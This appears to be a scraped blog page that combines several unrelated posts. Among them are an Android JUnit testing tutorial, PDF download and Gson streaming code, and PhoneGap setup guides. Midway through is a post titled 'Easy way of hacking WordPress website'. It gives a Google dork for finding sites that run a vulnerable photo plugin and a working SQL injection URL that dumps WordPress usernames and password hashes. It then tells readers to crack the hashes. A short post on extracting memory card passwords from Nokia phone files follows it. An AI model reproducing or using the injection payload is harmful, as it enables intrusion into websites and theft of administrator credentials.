Android SDK: Unit Testing with the JUnit Testing Framework

Android Robot. Français : le logo d'android 日本...

In this tutorial, you will learn how to use Eclipse to create an Android JUnit Test Project, create automated unit tests and run them under a variety of conditions.

Before You Begin

The authors are assuming the reader has some basic knowledge of Android and have all of the tools such as Eclipse and the Android SDK installed and working. The examples given here are engineered to show how the Android JUnit framework can be used to test Android applications. Specifically, this tutorial will show you how to test aspects of an Activity and identify program errors. These errors are determined, but not addressed, as part of this tutorial.

Note: The code for the SimpleCalc application is available on Google Code as well as from the above link.

Step 1: Review the SimpleCalc Application

First, let’s take a few moments to look over the SimpleCalc application. It’s a very simple application with just one screen. The screen has two simple functions: it allows the user to input two values, adds or multiplies these values together and displays the result as shown below.

Junit Testing The SimpleCalc application

Step 2: Review the SimpleCalc Screen Layout

The SimpleCalc application has just one screen, so we have only one layout resource file called /res/layout/main.xml.

Here is a listing of the main.xml layout resource:
  1. <?xml version=”1.0″ encoding=”utf-8″?>
  2. <LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android&#8221;
  3.     android:orientation=”vertical” android:layout_width=”fill_parent”
  4.     android:layout_height=”fill_parent”>
  5.     <TextView android:layout_width=”fill_parent”
  6.         android:layout_height=”wrap_content” android:text=”@string/hello”
  7.         android:gravity=”center_horizontal” android:textSize=”48px”
  8.         android:padding=”12px” />
  9.     <EditText android:layout_height=”wrap_content” android:id=”@+id/value1″
  10.         android:hint=”@string/hint1″ android:inputType=”numberDecimal”
  11.         android:layout_width=”fill_parent” android:textSize=”48px”></EditText>
  12.     <EditText android:layout_height=”wrap_content” android:id=”@+id/value2″
  13.         android:hint=”@string/hint2″ android:inputType=”numberDecimal”
  14.         android:layout_width=”fill_parent” android:textSize=”48px”></EditText>
  15.     <FrameLayout android:id=”@+id/FrameLayout01″
  16.         android:layout_width=”wrap_content” android:layout_height=”wrap_content”
  17.         android:padding=”12px” android:background=”#ff0000″>
  18.         <LinearLayout android:id=”@+id/LinearLayout02″
  19.             android:layout_width=”wrap_content” android:layout_height=”wrap_content”
  20.             android:orientation=”horizontal” android:background=”#000000″
  21.             android:padding=”4px”>
  22.             <TextView android:layout_width=”wrap_content”
  23.                 android:layout_height=”wrap_content” android:text=”@string/resultLabel”
  24.                 android:textSize=”48px” android:id=”@+id/resultLabel”></TextView>
  25.             <TextView android:layout_width=”wrap_content”
  26.                 android:layout_height=”wrap_content” android:id=”@+id/result”
  27.                 android:textSize=”48px” android:textStyle=”bold”
  28.                 android:layout_marginLeft=”16px”></TextView>
  29.         </LinearLayout>
  30.     </FrameLayout>
  31.     <LinearLayout android:id=”@+id/LinearLayout03″
  32.         android:layout_height=”wrap_content” android:layout_width=”fill_parent”>
  33.         <Button android:layout_height=”wrap_content” android:id=”@+id/addValues”
  34.             android:text=”@string/add” android:textSize=”32px”
  35.             android:layout_width=”wrap_content”></Button>
  36.         <Button android:layout_height=”wrap_content” android:id=”@+id/multiplyValues”
  37.             android:text=”@string/multiply” android:textSize=”32px”
  38.             android:layout_width=”wrap_content”></Button>
  39.     </LinearLayout>
  40. </LinearLayout>

This layout is fairly straightforward. The entire content of the screen is stored within a LinearLayout, allowing the controls to display one after another vertically. Within this parent layout, we have the following controls:

  • A TextView control displaying the header “Unit Testing Sample.”
  • Two EditText controls to collect user input in the form of two numbers.
  • A FrameLayout control which contains a horizontal LinearLayout with the result label TextView and resulting sum or product TextView. The FrameLayout displays a red border around these controls, highlighting the result.
  • Finally, another horizontal LinearLayout with two child controls: a Button control for addition and a Button control for multiplication.

This layout is designed to look right in the Android Layout Designer when the Nexus One option (which has a screen size of 800×480) is chosen in both portrait and landscape modes. You’ll soon see that this is not a bullet-proof way of designing layouts. As with the code you’ll see in the next step, it isn’t designed to work perfectly.

Step 3: Review the SimpleCalc Activity

The SimpleCalc application has just one screen, so we have only one Activity as well: MainActivity.java. The MainActivity.java class controls the behavior of the one screen, whose user interface is dictated by the main.xml layout.

Here is a listing of the MainActivity.java class:

  1. package com.mamlambo.article.simplecalc;
  2. import android.app.Activity;
  3. import android.os.Bundle;
  4. import android.util.Log;
  5. import android.view.View;
  6. import android.view.View.OnClickListener;
  7. import android.widget.Button;
  8. import android.widget.EditText;
  9. import android.widget.TextView;
  10. public class MainActivity extends Activity {
  11.    /** Called when the activity is first created. */
  12.    @Override
  13.    public void onCreate(Bundle savedInstanceState) {
  14.        final String LOG_TAG = “MainScreen”;
  15.        super.onCreate(savedInstanceState);
  16.        setContentView(R.layout.main);
  17.        final EditText value1 = (EditText) findViewById(R.id.value1);
  18.        final EditText value2 = (EditText) findViewById(R.id.value2);
  19.        final TextView result = (TextView) findViewById(R.id.result);
  20.        Button addButton = (Button) findViewById(R.id.addValues);
  21.        addButton.setOnClickListener(new OnClickListener() {
  22.            public void onClick(View v) {
  23.                try {
  24.                    int val1 = Integer.parseInt(value1.getText().toString());
  25.                    int val2 = Integer.parseInt(value2.getText().toString());
  26.                    Integer answer = val1 + val2;
  27.                    result.setText(answer.toString());
  28.                } catch (Exception e) {
  29.                    Log.e(LOG_TAG, “Failed to add numbers”, e);
  30.                }
  31.            }
  32.        });
  33.        Button multiplyButton = (Button) findViewById(R.id.multiplyValues);
  34.        multiplyButton.setOnClickListener(new OnClickListener() {
  35.            public void onClick(View v) {
  36.                try {
  37.                    int val1 = Integer.parseInt(value1.getText().toString());
  38.                    int val2 = Integer.parseInt(value2.getText().toString());
  39.                    Integer answer = val1 * val2;
  40.                    result.setText(answer.toString());
  41.                } catch (Exception e) {
  42.                    Log.e(LOG_TAG, “Failed to multiply numbers”, e);
  43.                }
  44.            }
  45.        });
  46.    }
  47. }
As you can see, the Java for this class is quite straightforward. It simply implements onClick() handlers for both the addition and multiplication Button controls.

When a Button is pressed, the Activity retrieves the values stored in the two EditText controls, calculates the result, and displays it in the TextView control called R.id.result.

Note: There are bugs in this code! These bugs have been designed specifically to illustrate unit testing.

Step 4: Creating an Android Test Project

You can add a test project to any Android project in two ways. You can add a test project while creating a new Android project with the Android Project Wizard or you can add a test project to an existing Android project. (The steps are basically the same.)

For this example, we have an existing project. To add a test project to the SimpleCalc project in Eclipse, take the following steps:

From the Project Explorer, choose the Android project you wish to add a test project to. Right-click on the project and choose Android Tools->New Test Project…

Junit Testing, Creating a Test Project

Step 5: Configuring the Android Test Project

Now you need to configure the test project settings, including the test project name, file location, Android project to test and build target (SDK version).

For this example, we can use the following settings:

  • Test project names generally end in “Test”, so let’s name this test project SimpleCalcTest
  • The project location can be wherever you normally store source files on your hard drive.
  • Choose the Android project to test: SimpleCalc
  • The appropriate build target will be selected automatically once you select the project to test. In this case, since the Android project is built for Android 2.1 + Google APIs (API Level 7), it makes sense to use the same build target for the test project.
  • It makes sense to name the test project accordingly: SimpleCalcTest, with the appropriate package name suffix simplecalc.test.
Configuring the project test

Hit Finish.

Step 6: Review the SimpleCalcTest Project

The SimpleCalcTest project is an Android project. You will notice that it has all the normal things you’d expect of an Android project, including a Manifest file and resources.

Junit Testing SimpleCalcTest Project Files

Step 7: Determine Unit Tests for the SimpleCalc Application

Now that you have a test project configured for the SimpleCalc application, it makes sense to determine some reasonable unit tests for the application.

Many software methodologies these days work compatibly with unit testing. Unit tests can greatly increase the stability and quality of your application and reduce testing costs. Unit tests come in many forms.

Unit tests can:

  • Improve testing coverage
  • Test application assumptions
  • Validate application functionality

Unit tests can be used to test core functionality, such as whether or not the SimpleCalc math is being performed correctly. They can also be used to verify if the user interface is displaying correctly. Now let’s look at some specific test cases.

Step 8: Create Your First Test Case

To create your first test case, right-click on the simplecalc.test package and choose New->JUnit Test Case.

Configuring test case settings.

Step 9: Configure Your First Test Case

Now you need to configure the test case settings.

For this example, we can use the following settings:

  • Both JUnit 3 and 4 are supported. We’ll use the default JUnit 3 here.
  • The source folder should be the location of the SimpleCalcTest project files.
  • The package should be the package name of the SimpleCalcTest project.
  • In this case, we will name the test case MathValidation.
  • For the SuperClass, choose “android.test.ActivityInstrumentationTestCase2.” This is the test case you use for testing activities.
  • Check the boxes to add method stubs for setUp() and constructor.
junit Testing, Configuring test case settings.

Hit Finish. (You can safely ignore the warning saying, “Superclass does not exist.”)

Step 10: Review the MathValidation Test Case

The MathValidation.java test case source file is then created.

The lifecycle of a test case is basically this: construction, setUp(), tests run, tearDown(), and destruction. The setUp() method is used to do any general initialization used by all of specific tests. Each test to be run in the test case is implemented as its own method, where the method name begins with “test”. The tearDown() method is then used to uninitialize any resources acquired by the setUp() method.

  1. package com.mamlambo.article.simplecalc.test;
  2. import android.test.ActivityInstrumentationTestCase2;
  3. public class MathValidation extends
  4.        ActivityInstrumentationTestCase2<MainActivity> {
  5.    public MathValidation(String name) {
  6.        super(name);
  7.    }
  8.    protected void setUp() throws Exception {
  9.        super.setUp();
  10.    }
  11. }

Now it’s time to implement the MathValidation Test Case

Step 11: Modify the MathValidation Class Constructor

First, modify the MathValidation class constructor. This constructor ties configures the internals of the Android test superclass we’re using.

  1. public MathValidation() {
  2.        super(“com.mamlambo.article.simplecalc”, MainActivity.class);
  3. }

Step 12: Implement the MathValidation setUp() method

Now you need to gather the data required for validating the SimpleCalc math calculations. Begin by implementing the setUp() method. You can retrieve the Activity being tested using the getActivity() method as follows:

  1. MainActivity mainActivity = getActivity();

Next, you need to retrieve an instance of the TextView control called R.id.result. This is the control that will hold the resulting sum or product from the math calculations used by the application.

The full updated code listing (MathValidation.java) with these modifications is shown below:

  1. package com.mamlambo.article.simplecalc.test;
  2. import android.test.ActivityInstrumentationTestCase2;
  3. import android.widget.TextView;
  4. import com.mamlambo.article.simplecalc.MainActivity;
  5. import com.mamlambo.article.simplecalc.R;
  6. public class MathValidation extends ActivityInstrumentationTestCase2<MainActivity> {
  7.    private TextView result;
  8.    public MathValidation() {
  9.        super (“com.mamlambo.article.simplecalc”, MainActivity.class);
  10.    }
  11.    @Override
  12.    protected void setUp() throws Exception {
  13.        super.setUp();
  14.        MainActivity mainActivity = getActivity();
  15.        result = (TextView) mainActivity.findViewById(R.id.result);
  16.    }
  17. }

Step 13: Consider Tests for the SimpleCalc Application

Now that everything is set up, what tests do you want to perform? Let’s begin by checking the math used by the SimpleCalc application. Specifically, let’s check that the numbers are retrieved correctly, as well as added and multiplied correctly. Did we set the right types for our number values? Are we retrieving and performing mathematical calculations using the correct types?

To answer these questions, we must add some testing code to the MathValidation class. Each specific test will have it’s own method beginning with “test” – the “test” method name prefix is case sensitive! This naming scheme is how JUnit determines what methods to run.

Step 14: Implement a Method to Test SimpleCalc’s Addition

Let’s begin by testing the addition calculation of SimpleCalc. To do this, add a method called testAddValues() to the MathValidation class.

This test will enter two numbers (24 and 74) into the screen and press Enter, which acts as a click on the first Button control which is in focus. Then it will retrieve the sum displayed by the application in the result TextView control and test to see if the result is the expected one (98).

To supply the EditText controls with two numbers to sum, use the sendKeys() method. This method mimics how keys are sent to Android applications. If you use the setText() method of the EditText control to set the text in each control, then you are bypassing the validation of the numeric entry that user’s would encounter. This method of providing key strokes assumes that the focus starts on the first control and that using the Enter key goes to the next one (you’ll see that the enter key is sent at the end of each number). If neither of those assumptions is true, the test will also fail. This is not a bad thing, but it might be failing for the wrong reasons (e.g. focus or layout issues, rather than math issues).

Finally, you use the assertTrue() method to compare the actual result displayed on the screen to the expected result. ). We compare against a string, since the result is displayed as a string. This way, we can also make sure we don’t duplicate any math or type errors in the application logic within the test framework.
Here is the full listing of the testAddValues() method:

  1. private static final String NUMBER_24 = “2 4 ENTER “;
  2. private static final String NUMBER_74 = “7 4 ENTER “;
  3. private static final String ADD_RESULT = “98”;
  4. public void testAddValues() {
  5.    sendKeys(NUMBER_24);
  6.    // now on value2 entry
  7.    sendKeys(NUMBER_74);
  8.    // now on Add button
  9.    sendKeys(“ENTER”);
  10.    // get result
  11.    String mathResult = result.getText().toString();
  12.    assertTrue(“Add result should be 98”, mathResult.equals(ADD_RESULT));
  13. }

Congratulations! You’ve created your first test!

Step 15: Enhancing the Tests for Addition

Now let’s add a few more tests to make sure all different types of numbers can be added, resulting in the display of the proper sum.

Because the activity is launched for each test, you do not need to clear the values or anything like that between tests. You also do not need to change the focus within the form, since it begins at value1. Therefore, you can simplify tests by concatenating key presses together in a single sendKeys() method call, like such:

  1. sendKeys(NUMBER_24 + NUMBER_74 + “ENTER”);

For example, here is the code for the testAddDecimalValues() method, which tests the addition of a decimal value 5.5 with the number 74, which should result in 79.5:

  1. public void testAddDecimalValues() {
  2.        sendKeys(NUMBER_5_DOT_5 + NUMBER_74 + “ENTER”);
  3.        String mathResult = result.getText().toString();
  4.        assertTrue(“Add result should be ” + ADD_DECIMAL_RESULT + ” but was “
  5.                + mathResult, mathResult.equals(ADD_DECIMAL_RESULT));
  6.  }

Similarly, you can perform a test of adding a negative number -22 to the number 74, which should result in a sum of 52. This test is implemented in the testSubtractValues() method, as follows:

  1. public void testAddDecimalValues() {
  2.        sendKeys(NUMBER_5_DOT_5 + NUMBER_74 + “ENTER”);
  3.        String mathResult = result.getText().toString();
  4.        assertTrue(“Add result should be ” + ADD_DECIMAL_RESULT + ” but was “
  5.                + mathResult, mathResult.equals(ADD_DECIMAL_RESULT));
  6.    }

Step 16: Implement a Method to Test SimpleCalc’s Multiplication

It should be quite straightforward to implement a similar test for SimpleCalc’s multiplication called testMuliplyValues().

The only tricky part is that the Multiply Button control is not in focus when we’re done entering the numbers (instead, the Add Button is).
You might think to just call the requestFocus() method on the multiply button. Unfortunately, this won’t work because requestFocus() has to be run on the UI thread in Android. Running methods on the UI Thread can be done as part of a test case, but it’s done asynchronously so you can’t guarantee when it will be complete.

Instead, we’ll again use the sendKeys() method. Since we defined the Multiply Button to always display to the right of the Add Button, we can just send the “DPAD_RIGHT” key followed by “ENTER” to click the Multiply Button.

  1. public void testMultiplyValues() {
  2.    sendKeys(NUMBER_24+NUMBER_74+ ” DPAD_RIGHT ENTER”);
  3.    String mathResult = result.getText().toString();
  4.    assertTrue(“Multiply result should be ” + MULTIPLY_RESULT + ” but was “
  5.            + mathResult, mathResult.equals(MULTIPLY_RESULT));
  6. }

As an exercise, you might try adding more multiplication tests with various sizes of numbers. Try to engineer a test that might fail with the existing code. Can you guess if each test will be successful or not? (Hint: Look at the type of the variable that the string is being converted to.)

Step 17: Running Unit Tests with the Android Emulator or Device

Unit test frameworks such as the one you’re building are Android applications like any other. They must be installed on the emulator or device you wish to test, along with the application to be tested (in this case, SimpleCalc).

To run the unit tests you have created so far from Eclipse, choose the Debug drop down, then Debug As, then Android JUnit Test. Make sure the file you just created is the active file (shown in the window) as that is the test case that will be launched.

junit testing, Debugging JUnit Test

Step 18: Examining the Test Results

The tests may take some time to complete, especially if the emulator was not already running. When the tests have completed, you should see results similar to those shown here:

Junit Testing Examining the Test Results

You’ll notice that all four of the tests you’ve just created run. Two of them are successful, while two of them have failed. Do you know why they’ve failed? (Fixing these calculation bugs is left as a learning exercise for the reader.)

Besides successful tests and failed tests, errors are also shown. A failure is when a tested for assertion fails. An error, on the other hand, is a thrown exception. Errors can either be untested for edge cases or simply mistakes in the testing code. If you have errors, check your testing code carefully to make sure it is working correctly.

Step 19: Create a Test Case for Screen Display Testing

Unit tests need not be limited to validating core functionality such as the addition and multiplication of values. Tests can also validate whether or not a screen layout is displayed properly.

For example, you might want to validate that all of the layout controls display properly on all target screens. The SimpleCalc’s screen was designed in the layout designer in Eclipse for an 800×480 screen in either landscape or portrait mode, but will it work on other screen sizes and devices? Were we then too specific in our design? Automated testing can tell us the answer to this question very quickly.

To create another test case, right-click on the SimpleCalc.Test package and choose New->JUnit Test Case. Call this new test LayoutTests. Configure this test case much as you did the MathValidation class in Step 8.

Junit testing, Create a Test Case for Screen Display Testing.

Hit Finish.

Step 20: Review and Update the LayoutTests Test Case

The LayoutTests.java test case source file is then created. Modify the class to look like the code listing below, modifying the constructor, retrieving the Button controls and the layout as a whole:

  1. package com.mamlambo.article.simplecalc.test;
  2. import android.test.ActivityInstrumentationTestCase2;
  3. import android.view.View;
  4. import android.widget.Button;
  5. import com.mamlambo.article.simplecalc.MainActivity;
  6. import com.mamlambo.article.simplecalc.R;
  7. public class LayoutTests extends ActivityInstrumentationTestCase2<MainActivity> {
  8.    private Button addValues;
  9.    private Button multiplyValues;
  10.    private View mainLayout;
  11.    public LayoutTests() {
  12.        super(“com.mamlambo.article.simplecalc”, MainActivity.class);
  13.    }
  14.    protected void setUp() throws Exception {
  15.        super.setUp();
  16.        MainActivity mainActivity = getActivity();
  17.        addValues = (Button) mainActivity.findViewById(R.id.addValues);
  18.        multiplyValues = (Button) mainActivity
  19.                .findViewById(R.id.multiplyValues);
  20.        mainLayout = (View) mainActivity.findViewById(R.id.mainLayout);
  21.    }
  22. }
Now let’s implement some specific tests for LayoutTests.

Step 20: Consider Layout Tests for the SimpleCalc Application
Now that everything is set up, what tests do you want to perform? One common bug in application design is for controls not to display properly in all screen sizes and orientations. Therefore, it makes sense to try to build a test case to verify the location of certain controls. You can then add other checks to make sure other View controls display and behave appropriately.

Step 21: Implement a Method to Test Button Display

Let’s begin by testing that the Add Button control of the SimpleCalc screen is visible. To do this, add a method called testAddButtonOnScreen() to the LayoutTests class.

This test checks to see if the Add Button control is displayed within the visible rectangle representing the overall screen size.

To implement the testAddButtonOnScreen() method, you must first determine the screen size. There are a number of ways to do this. One simple way is to retrieve the View that represents the entire screen layout and use the getWidth() and getHeight() methods. Doing this also takes in to account any screen real estate being used by other items, such as the title bar or information bar that are often at the top of an Android screen.

Determining whether or not the Add Button control is drawn within those bounds is as simple as comparing the layout bounds to the bounds of the drawing rectangle for the Add Button control.

Here is the full listing of the testAddButtonOnScreen() method:

  1. public void testAddButtonOnScreen() {
  2.    int fullWidth = mainLayout.getWidth();
  3.    int fullHeight = mainLayout.getHeight();
  4.    int[] mainLayoutLocation = new int[2];
  5.    mainLayout.getLocationOnScreen(mainLayoutLocation);
  6.    int[] viewLocation = new int[2];
  7.    addValues.getLocationOnScreen(viewLocation);
  8.    Rect outRect = new Rect();
  9.    addValues.getDrawingRect(outRect);
  10.    assertTrue(“Add button off the right of the screen”, fullWidth
  11.            + mainLayoutLocation[0] > outRect.width() + viewLocation[0]);
  12.    assertTrue(“Add button off the bottom of the screen”, fullHeight
  13.            + mainLayoutLocation[1] > outRect.height() + viewLocation[1]);
  14. }

At this point, you can see how you could also test the display of the Multiply Button, or the Result text, or any other control on the SimpleCalc screen.

Step 22: Running the LayoutTests Test Case

In order for layout testing to provide useful results, we can’t just run the test once. Instead, the tests must be run on multiple emulator configurations and screen orientations. This is different from the logic tests of above where a messy layout or a layout that doesn’t match the design pattern doesn’t necessarily impede functionality.

For example, if you create emulator configurations (using AVDs) for the following configurations, the LayoutTests test case will yield the following results:

  1. 480×800, portrait mode (will pass)
  2. 800×480, landscape mode (will fail)
  3. 320×480, portrait mode (will fail)
  4. 480×320, landscape (will fail)
  5. 480×854, portrait mode (will pass)
  6. 854×480, landscape mode (will fail)

 Can you figure out why it fails in all landscape modes, but draws fine in the creator for the landscape mode (#2 above)?

Can you figure out why it fails in all landscape modes, but draws fine in the creator for the landscape mode (#2 above)?

Hint: What’s shown on the screen when the application actually runs (see the figure below)?

JUnit Testing Sample

Step 23: Where to Go From Here

Now that you have some tests in place—some of which pass and some of which fail—you can imagine how unit testing can improve the quality of your application.

The more thorough you are with your unit testing coverage, the better. You’ve seen how unit testing can uncover bugs in code and layout designs. The next step would be to identify the failure points and fix those bugs. Once you’ve fixed the bugs, you should re-run the unit tests to ensure that they pass in all test cases.

Conclusion

In this tutorial, you learned how to create unit tests using the Android JUnit framework for your Android projects. You also learned how to create different kinds of unit tests to test a variety of application features, including underlying program functions as well as display characteristics.

Download PDF From Server In Android Example

Image representing Android as depicted in Crun...

Description:
This example shows you how to download a pdf file from server and display its contents.

Algorithm:

1.) Create a new project by File-> New -> Android Project name it PDFFromServerExample.
2.) Write following code into your manifest file:

<?xml version=”1.0″ encoding=”utf-8″?>
<manifest xmlns:android=”http://schemas.android.com/apk/res/android&#8221;
android:versionCode=”1″
android:versionName=”1.0″ package=”com.pdftest”>
<uses-sdk android:minSdkVersion=”7″ />
<uses-permission android:name=”android.permission.INTERNET”></uses-permission>
<uses-permission android:name=”android.permission.WRITE_EXTERNAL_STORAGE”></uses-permission>
<application android:icon=”@drawable/icon” android:label=”@string/app_name” android:debuggable=”true”>
<activity android:name=”.PDFFromServerActivity”
android:label=”@string/app_name”>
<intent-filter>
<action android:name=”android.intent.action.MAIN” />
<category android:name=”android.intent.category.LAUNCHER” />
</intent-filter>
</activity>    </application>
</manifest>

3.) Create Downloader.java file into your package and write following code:

package com.pdftest;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class Downloader {        public static void DownloadFile(String fileURL, File directory) {
try {

FileOutputStream f = new FileOutputStream(directory);
URL u = new URL(fileURL);
HttpURLConnection c = (HttpURLConnection) u.openConnection();
c.setRequestMethod(“GET”);
c.setDoOutput(true);
c.connect();

InputStream in = c.getInputStream();

byte[] buffer = new byte[1024];
int len1 = 0;
while ((len1 = in.read(buffer)) > 0) {
f.write(buffer, 0, len1);
}
f.close();
} catch (Exception e) {
e.printStackTrace();
}

}
}

4.) Run for output.

Steps:

1.) Create a project named PDFFromServerExample and set the information as stated in the image.

Build Target: Android 2.2
Application Name: PDFFromServerExample
Package Name: com.pdftest
Activity Name: PDFFromServerExample
Min SDK Version: 8

2.) Open PDFFromServerActivity.java file and write following code there:

package com.pdftest;import java.io.File;
import java.io.IOException;
import java.util.List;

import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;

public class PDFFromServerActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
String extStorageDirectory = Environment.getExternalStorageDirectory()
.toString();
File folder = new File(extStorageDirectory, “pdf”);
folder.mkdir();
File file = new File(folder, “Read.pdf”);
try {
file.createNewFile();
} catch (IOException e1) {
e1.printStackTrace();
}
Downloader.DownloadFile(“http://www.nmu.ac.in/ejournals/aspx/courselist.pdf&#8221;, file);

showPdf();
}
public void showPdf()
{
File file = new File(Environment.getExternalStorageDirectory()+”/pdf/Read.pdf”);
PackageManager packageManager = getPackageManager();
Intent testIntent = new Intent(Intent.ACTION_VIEW);
testIntent.setType(“application/pdf”);
List list = packageManager.queryIntentActivities(testIntent, PackageManager.MATCH_DEFAULT_ONLY);
Intent intent = new Intent();
intent.setAction(Intent.ACTION_VIEW);
Uri uri = Uri.fromFile(file);
intent.setDataAndType(uri, “application/pdf”);
startActivity(intent);
}
}

3.) Compile and build the project.

Output

Gson Streaming to read and write JSON

Diagram of Unicast Streaming

Since Gson version 1.6, two new classes – JsonReader and JsonWriter, are introduce to provide streaming processing on JSON data. Read this Gson streaming documentation to understand what are the benefits of using it.

Here we show you two full examples of using following Gson streaming APIs to read and write JSON data.

  1. JsonWriter – Streaming write to JSON.
  2. JsonReader – Streaming read from JSON.

Gson streaming processing is fast, but difficult to code, because you need to handle each and every detail of processing JSON data.

1. JsonWriter

In this example, you use “JsonWriter” to write JSON data into a file name “file.json“. See comments for self-expalantory.

import java.io.FileWriter;
import java.io.IOException;
import com.google.gson.stream.JsonWriter;

public class GsonStreamExample {
   public static void main(String[] args) {

     JsonWriter writer;
     try {
	writer = new JsonWriter(new FileWriter("c:\\user.json"));

	writer.beginObject(); // {
	writer.name("name").value("mkyong"); // "name" : "mkyong"
	writer.name("age").value(29); // "age" : 29

	writer.name("messages"); // "messages" : 
	writer.beginArray(); // [
	writer.value("msg 1"); // "msg 1"
	writer.value("msg 2"); // "msg 2"
	writer.value("msg 3"); // "msg 3"
	writer.endArray(); // ]

	writer.endObject(); // }
	writer.close();

	System.out.println("Done");

     } catch (IOException e) {
	e.printStackTrace();
     }

   }

}

As result, following new file named “file.json” is created :

{
	"name":"mkyong",
	"age":29,
	"messages":["msg 1","msg 2","msg 3"]
}

2. JsonReader

Example to use “JsonReader” to parse or read above file “file.json”.

Token
In streaming mode, every JSON “data” is consider as an individual token. When you use JsonReaderto process it, each tokens will be processed sequential.For example,

{
	"url":"www.mkyong.com"
}

Token 1 = “{”
Token 2 = “url”
Token 3 = “www.mkyong.com”
Token 4 = “}”

As result, you need to keep calling “next****” method to move to next token manually.

See full example.

package com.mkyong.core;

import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import com.google.gson.stream.JsonReader;

public class GsonStreamExample {
   public static void main(String[] args) {

     try {
	JsonReader reader = new JsonReader(new FileReader("c:\\user.json"));

	reader.beginObject();

	while (reader.hasNext()) {

	  String name = reader.nextName();

	  if (name.equals("name")) {

		System.out.println(reader.nextString());

	  } else if (name.equals("age")) {

		System.out.println(reader.nextInt());

	  } else if (name.equals("message")) {

		// read array
		reader.beginArray();

		while (reader.hasNext()) {
			System.out.println(reader.nextString());
		}

		reader.endArray();

	  } else {
		reader.skipValue(); //avoid some unhandle events
	  }
        }

	reader.endObject();
	reader.close();

     } catch (FileNotFoundException e) {
	e.printStackTrace();
     } catch (IOException e) {
	e.printStackTrace();
     }

   }

}

Output

mkyong
29
msg 1
msg 2
msg 3

Easy way of hacking WordPress website

Computer graphics card fail - 2010-11-28

Hi here i tell you how to hack wordpress site with easy way i will use exploit to hacksites i saw lots of Messages that say “hey help can anyone can tell me how to hackwordpress” and it’s an easy way with exploit ?

https://i0.wp.com/timani.net/wp-content/uploads/2010/04/wordpress-logo-300x282.png

First we search with this in google to find sites

inurl:”wp-content/plugins/photoracer/viewimg.php?id=”

see the Result :-

[Image: asdmr.png]

and i’m gonna test 1 of them for ex this find in google

 

 

we are going to add the exploit : this is the exploit

/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users–

 

and the site look like this

 

https://i0.wp.com/img638.imageshack.us/img638/2927/asddy.png

now you can see the user and pass :D ! Just crack the hash and it’s done
The admin panel is

Cracking Memory card passwords

SmartMedia

There are types of methods for recovering the password of your memory card with the help of nokia phone. For Nokia s60 1st and 2nd edition phones.
1. First Install FExplorer in your phone memory.
2. Got to drive C: you will find a file called mmcstore
3. Send it to your pc directly and open it in notepad or rename the file.
4. At the end of the file you will find your password. For Nokia S60 3rd Phones, Nokia N-Series and Nokia E-Series. Link for FExplorer : Click here

ENJOY!!!!!!!!

Install SDK + PhoneGap For BlackBerry

  • 1. Requirements For BlackBerry

    • Windows XP (32-bit) or Windows 7 (32-bit and 64-bit) or Mac OSX 10.6.4+

    For 4.x devices check out this guide.

  • 2. Install SDK + PhoneGap

    (Windows Only) Download and install Sun JDK (32-Bit Version). Add it to your PATH variable.

    (Windows Only) Download and extract Apache Ant. Add it to your PATH variable.

    Download BlackBerry WebWorks Smartphone SDK for BlackBerry development and/or BlackBerry WebWorks Tablet OS SDK for Playbook development. Keep note of the directories you install these SDKs.

    Download the latest copy of PhoneGap and extract its contents to a location of your choice.

  • 3. Setup New Project

    • Open up a command prompt/terminal and navigate to where you extracted PhoneGap. CD into the PhoneGapBlackBerry directory.
    • Create a PhoneGap BlackBerry and PlayBook project. Type ant create -Dproject.path=followed by the location you wish to create your project into the command prompt/terminal.
    • Change to the newly created directory located at C:\Dev\bbw\sample.
    • Open up the project.properties file with your favourite editor and change the lines BlackBerry.bbwp.dir= and PlayBook.bbwp.dir= to equal the respective install locations of the SDKs you downloaded earlier.
  • 4. Hello World

    Build the PhoneGap sample project by typing ant target build in your command prompt/terminal while you are in your project’s directory. Replace the target with either blackberry or playbook. Note this is the sample PhoneGap project and not a basic hello world application. You can go edit the index.html file located in the www directory of your project to make it say Hello World if you wish.

  • 5A. Deploy to Simulator (Windows Only)

    • While in your project directory, in command prompt/terminal type ant target load-simulator. Replace the target with either blackberry or playbook.
    • Press the BlackBerry button on the simulator, go to downloads and you should see your app loaded there.
  • 5B. Deploy to Device (Windows and Mac)

    • You have to have your signing keys from RIM by filling out this form.
    • While in your project directory, in command prompt/terminal type ant target load-device. Replace the target with either blackberry or playbook.
    • Press the BlackBerry button on the simulator, go to downloads and you should see your app loaded there.
  • Done!

    You can also checkout more detailed version of this guide here.

Install SDK + PhoneGap for ANDROID

  • 1. Requirements For ANDROID

    • Eclipse 3.4+

    There is also a Terminal version of this tutorial that doesn’t use Eclipse.

  • 2. Install SDK + PhoneGap

    Download and install Eclipse Classic

    Download and install Android SDK

    Download and install ADT Plugin

    Download the latest copy of PhoneGap and extract its contents. We will be working with the Android directory.

  • 3. Setup New Project

    • Launch Eclipse, then under the File menu select New > Android Project

    • In the root directory of the project, create two new directories:
      • /libs
      • /assets/www
    • Copy phonegap.js from your PhoneGap download earlier to /assets/www
    • Copy phonegap.jar from your PhoneGap download earlier to /libs
    • Copy xml folder from your PhoneGap download earlier to /res
    • Make a few adjustments too the project’s main Java file found in the src folder in Eclipse: (view image below)
      • Change the class’s extend from Activity to DroidGap
      • Replace the setContentView() line with super.loadUrl(“file:///android_asset/www/index.html”);
      • Add import com.phonegap.*;
      • Remove import android.app.Activity;

javaSrc

  • You might experience an error here, where Eclipse can’t find phonegap-1.0.0.jar. In this case, right click on the /libs folder and go to Build Paths/ > Configure Build Paths. Then, in the Libraries tab, add phonegap-1.0.0.jar to the Project. If Eclipse is being temperamental, you might need to refresh (F5) the project once again.
  • Right click on AndroidManifest.xml and select Open With > Text Editor
  • Paste the following permissions under versionName: (view image below)
<supports-screens
android:largeScreens="true"
android:normalScreens="true"
android:smallScreens="true"
android:resizeable="true"
android:anyDensity="true"
/>
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
